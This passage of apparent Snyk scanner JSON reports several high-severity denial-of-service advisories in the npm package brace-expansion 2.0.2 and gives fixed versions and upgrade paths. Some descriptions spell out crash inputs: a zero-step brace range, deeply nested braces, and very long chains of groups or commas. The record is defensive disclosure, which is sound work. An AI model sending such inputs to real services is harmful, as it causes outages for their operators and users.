"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's 